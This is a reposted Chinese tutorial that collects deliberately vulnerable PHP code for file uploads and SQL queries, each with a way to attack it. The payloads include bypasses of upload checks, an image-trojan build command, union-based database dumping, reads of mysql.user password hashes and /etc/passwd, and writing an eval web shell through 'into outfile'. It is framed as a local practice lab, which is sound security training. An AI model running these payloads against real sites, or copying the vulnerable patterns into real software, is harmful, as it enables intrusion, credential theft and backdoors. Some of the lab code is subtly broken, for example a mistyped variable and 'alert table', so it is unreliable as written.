首頁  >  文章  >  後端開發  >  非常全面! PHP常見漏洞程式碼總結!

非常全面! PHP常見漏洞程式碼總結!

藏色散人
藏色散人轉載
2023-01-20 14:22:544549瀏覽

這篇文章為大家帶來了關於PHP漏洞的相關知識,其中主要給大家總結介紹PHP的常見漏洞代碼都有哪些,非常全面詳細,下面一起來看一下,希望對需要的朋友有所幫助。

非常全面! PHP常見漏洞程式碼總結!

漏洞總結

#PHP 檔案上傳漏洞

只驗證MIME類型: 程式碼中驗證了上傳的MIME類型,繞過方式使用Burp抓包,將上傳的一句話小馬*.php中的Content-Type:application/php,修改成Content-Type: image /png然後上傳.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
// 判断 content-type 的类型,如果是image/png则通过
if($_FILES[&#39;upload_file&#39;][&#39;type&#39;] == &#39;image/png&#39;)
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH . &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
if (move_uploaded_file($temp_file, $img_path))
echo "上传完成.";
else
echo "上传出错.";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

白名單的繞過: 白名單就是允許上傳某種類型的檔案,該方式比較安全,抓包上傳php後門,然後將檔案名改為.jpg即可上傳成功,但是有時候上傳後的檔案會失效無法拿到Shell.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$allow_ext = array(".jpg",".png",".jpeg");

$file_name = trim($_FILES[&#39;upload_file&#39;][&#39;name&#39;]); // 取出文件名
$file_ext = strrchr($file_name, &#39;.&#39;);
$file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext); //去除字符串::$DATA
$file_ext = strtolower($file_ext);                  // 转换为小写
$file_ext = trim($file_ext);                        // 首尾去空

if(in_array($file_ext, $allow_ext))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH.&#39;/&#39;.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path))
echo "上传完成: {$img_path} <br>";
else
echo "上传失败 <br>";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

白名單驗證檔頭: 本關主要是允許jpg/png /gif這三種文件的傳輸,且代碼中檢測了文件頭的2字節內容,我們只需要將文件的頭兩個字節修改為圖片的格式就可以繞過.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG為例,我們在一句話木馬的開頭加上兩個11也就是二進位的3131,然後將.php修改為.jpg,使用Brup抓包發送到Repeater模組,將HEX編碼3131改為FFD8點Send後成功上傳JPG.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $file = fopen($filename, "rb");
    $bin = fread($file, 2);
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo[&#39;chars1&#39;].$strInfo[&#39;chars2&#39;]);    
    $fileType = &#39;&#39;;    
    switch($typeCode)
    {      
        case 255216: $fileType = &#39;jpg&#39;; break;
        case 13780:  $fileType = &#39;png&#39;; break;        
        case 7173:   $fileType = &#39;gif&#39;; break;
        default:     $fileType = &#39;unknown&#39;;
        }    
        return $fileType;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

繞過檢測文件頭: 這種方式是通過文件頭部起始位置進行匹配的從而判斷是否上傳,我們可以通過在上傳文件前面追加合法的文件頭進行繞過,例如在文件開頭部位加上GIF89a1c54a2ccadef45a7573e3649bdfd6f57即可完成繞過,或如果是\xffxd8\xff我們需要在文件開頭先寫上���e2d0e752df2c971bca1fcef6e50119b4然後,選擇特殊字元,右擊CONVERT->URL->URL -Decode編碼後釋放.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $fh = fopen($filename, "rb");
    if($fh)
    {
     $bytes = fread($fh,6);
     fclose($fh);
     if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
     return "image/jpeg";
     }
     if($bytes == "\x89PNG\x0d\x0a"){
     return "image/png";
     }
     if($bytes == "GIF87a" or $bytes == "GIF89a"){
     return "image/gif";
     }
    }
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

影像偵測繞過: 透過使用影像函數,偵測檔案是否為影像,如需上傳則需要保持影像的完整性,所以無法透過追加文件頭的方式繞過,需要製作圖片木馬上傳.

針對這種上傳方式的繞過我們可以將圖片與FIG文件合併在一起copy /b pic.gif shell.php 1.php上傳即可繞過.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
// 检查是否为图像
if(@getimagesize($filename))
{
if(@imagecreatefromgif($filename)){
return "image/gif";
}
if(@imagecreatefrompng($filename)){
return "image/png";
}
if(@imagecreatefromjpeg($filename)){
return "image/jpeg";
}
}
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

上傳條件競爭: 這裡是條件競爭,先將檔案上傳到伺服器,然後判斷檔案後綴是否在白名單裡,如果在則重命名,否則刪除,因此我們可以上傳1.php只需要在它刪除之前訪問即可,可以利用burp的intruder模組不斷上傳,然後我們不斷的訪問刷新該地址即可

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
$ext_arr = array(&#39;jpg&#39;,&#39;png&#39;,&#39;gif&#39;);
    $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
    $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . &#39;/&#39; . $file_name;

    if(move_uploaded_file($temp_file, $upload_file))
    {
     if(in_array($file_ext, $ext_arr))
     {
     $img_path = UPLOAD_PATH . &#39;/&#39;. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             echo "上传完成. <br>";
     }else
     {
     unlink($upload_file);
     echo "上传失败. <br>";
     }
    }
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>

PHP注入漏洞

基本查詢語句

建置SQL注入演練環境,首先確保MySQL版本為MySQL 5.7以上,並匯入下方的資料庫腳本自動建立對應的資料庫檔案.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接著安裝好PHP7.0以上版本的環境,並建立index.php檔案,寫入以下測試程式碼,資料庫密碼請自行修改.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
            $sql = "select * from local_user where id=&#39;$id&#39; limit 0,1";
            $query = mysqli_query($connect,$sql);
            if($query)
             $row = mysqli_fetch_array($query);
    }
}
?>
<body>
<table border="1">
   <tr>
    <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
   </tr>
   <tr>
          <td><?php echo $row[&#39;id&#39;]; ?></td>
          <td><?php echo $row[&#39;username&#39;]; ?></td>
          <td><?php echo $row[&#39;password&#39;]; ?></td>
          <td><?php echo $row[&#39;usremail&#39;]; ?></td>
          <td><?php echo $row[&#39;usertype&#39;]; ?></td>
   </tr>
</table><br>
<?php echo &#39;<hr><b> 后端执行SQL语句:  </b>&#39; . $sql;  ?>
</body>
</html>

Union查詢字段數: Union可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select的列與它查詢的列相同時,頁面返回正常.

首先我們猜測,當前字段數為4的時候頁面無返回,也就說明表字段數必然是大於4的,接著增加一個字段,查詢1,2,3,4,5時頁面顯示正常,說明表結構是5個字段的.

index.php?id=1&#39; and 1=0 union select 1,2,3,4 --+

index.php?id=1&#39; and 1=0 union select 1,2,3,4,5 --+
index.php?id=1&#39; and 1=0 union select null,null,null,null,null --+

Order By查詢字段數: 在SQL語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是order by 1按照第二列排序order by 2依次類推,按照這個原理我們來判斷他的字段數,如果我們按照第1列進行排序資料庫會回傳正常,但是當我們按照第100列排序,因為資料庫中並不存在第100列,從而報錯或無法正常顯示.

首先我們猜測資料庫有6個欄位,嘗試根據第6行進行排序發現資料無法顯示,說明是小於6的,我們繼續使用5測試,此時傳回了結果.

index.php?id=1&#39; and 1 order by 6 --+
index.php?id=1&#39; and 1 order by 5 --+

大部分程式只會呼叫資料庫查詢的第一條語句進行查詢然後返回,如果想看到的資料是在第二條語句中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料回傳假,第二種是透過sql語句直接傳回我們想要的資料.

第一種我們讓第一個查詢的結果始終為假,透過使用and 0來實現,或透過limit語句,limit在mysql中是用來分頁的,透過他可以從查詢出來的資料中取得我們想要的資料.

index.php?id=1&#39; and 0 union select null,null,null,null,null --+
index.php?id=1&#39; and 0 union select null,version(),null,null,null --+

index.php?id=1&#39; union select null,null,null,null,null limit 1,1 --+
index.php?id=1&#39; union select null,version(),null,null,null limit 1,1 --+

查全部資料庫名稱: MySQL預設將所有表格資料放入information_schema .schemata這個表中進行儲存,我們可以查詢這個表中的資料從而找出當前系統中所有的資料庫名稱,透過控制limit中的參數即可爆出所有資料庫.

index.php?id=1&#39; and 0 union select 1,1,database(),1,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema=&#39;lyshark&#39; --+

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1&#39; and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1&#39; and 1=1 --+    # 提交and判断注入
index.php?id=1&#39; and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1&#39; and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1&#39; and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1&#39; and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1&#39; and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1&#39; and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1&#39; union select 1,load_file("/etc/passwd"),3,4,5 into outfile &#39;/var/www/html/a.txt&#39;--+
index.php?id=1&#39; union select 1,"<?php phpinfo();?>",3,4,5 into outfile &#39;/var/www/html/shell.php&#39; --+
index.php?id=1&#39; union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile &#39;/var/www/html/b.txt&#39; --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values(&#39;<?php @eval($_POST[cmd]) ?>&#39;);
select cmd from shell into outfile(&#39;/var/www/html/eval.php&#39;);

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1&#39; union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1&#39; union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1&#39; union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1&#39; union select 1,1,@@hostname                     // 判断主机名
index.php?id=1&#39; union select 1,1,@@version                      // 判断数据库版本
index.php?id=1&#39; union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1&#39; union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1&#39; union select 1,1,user()                         // 曝出系统用户
index.php?id=1&#39; union select 1,1,database()                     // 曝出当前数据库

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<?php
function getCurrentUrl()
{
    $scheme = $_SERVER[&#39;REQUEST_SCHEME&#39;];   // 协议
    $domain = $_SERVER[&#39;HTTP_HOST&#39;];        // 域名
    $requestUri = $_SERVER[&#39;REQUEST_URI&#39;];  // 请求参数
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return urldecode($currentUrl);
}
?>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
        $sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
{
   echo "<font size=&#39;5&#39;>";
   echo "账号: {$row[&#39;username&#39;]} <br>";
   echo "密码: {$row[&#39;password&#39;]} <br>";
   echo "</font>";
   echo "后端执行语句: {$sql} <br>";
   $URL = getCurrentUrl();
   echo "后端URL参数: {$URL} <br>";
   }
else 
{
echo "后端执行语句: {$sql} <br>";
print_r(mysql_error());
}
        }
    }
}
?>
</body>
</html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=(&#39;$id&#39;) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;) union select 1,version() --+
http://127.0.0.1/index.php?id=1&#39;) and &#39;1&#39;=(&#39;0&#39;) union select 1,version() --+

$sql = "select username,password from local_user where id=((&#39;$id&#39;)) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;)) union select 1,version() --+

---------------------------------------------------------------------------------
$id = &#39;"&#39; . $id . "&#39;";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin&#39; order by 1 #
admin&#39; order by 2 -- 
admin&#39; and 1 union select 1,2,3 #
admin&#39; and 1 union select 1,2 #

# 爆出数据库
admin &#39; and 0 union select null,database() #
admin&#39; and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 #
&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 #

# 爆出表中字段
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 0,1 #
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 1,1 #

# 继续爆出所有的用户名密码
&#39; union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         // 获取到用户的Agent客户请求体
         $Uagent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
$IP = $_SERVER[&#39;REMOTE_ADDR&#39;];

echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
echo "您的IP地址是: {$IP} <br>";

$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values(&#39;$uname&#39;,&#39;$IP&#39;,&#39;$Uagent&#39;)";
mysqli_query($connect,$insert_sql);
echo "User_Agent请求头: {$Uagent} <br>";
         }
        }
    }
}
?>
</body>
</html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1&#39;,1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1&#39;,1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input type="text"  name="uname" value=""/><br>
密码: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = $_COOKIE[&#39;uname&#39;];
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username=&#39;$cookee&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "执行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登录 <br>";
echo "您的账号: " . $row[&#39;username&#39;] . "<br>";
echo "您的密码: " . $row[&#39;password&#39;] . "<br>";
}
}
}
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         $cookee = $row[&#39;username&#39;];
         if($row)
         {
         setcookie(&#39;uname&#39;, $cookee, time() + 3600);
         $format = &#39;D d M Y - H:i:s&#39;;
         $timestamp = time() + 3600;
         echo "COOKIE已设置: " . date($format, $timestamp);
         }
        }
    }
}
?>
</body>
</html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin&#39; and 0 union select database(),2--+
Cookie: uname=admin&#39; and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
error_reporting(0);
header("Content-type: text/html;charset=utf8");
function Check($value)
{
if(!empty($value))
{ // 如果结果不为空,则取出其前十五个字符 18
$value = substr($value,0,15);
}
// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
if(get_magic_quotes_gpc())
{
// 删除由 addslashes() 函数添加的反斜杠
$value = stripslashes($value);
}
if(!ctype_digit($value))
{
// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
$value = "&#39;" . mysql_real_escape_string($value) . ".";
}
else
$value = intval($value);
return $value;
}
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
     $uname=Check($_POST[&#39;uname&#39;]);
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         $rows = $row[&#39;username&#39;];
         $udate = "UPDATE local_user SET password = &#39;$passwd&#39; WHERE username=&#39;$rows&#39;";
         mysql_query($update);
         if(mysql_error())
         {
         print_r(mysql_error());
         }
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>

推荐学习:《PHP视频教程

以上是非常全面! PHP常見漏洞程式碼總結!的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:juejin.im。如有侵權,請聯絡admin@php.cn刪除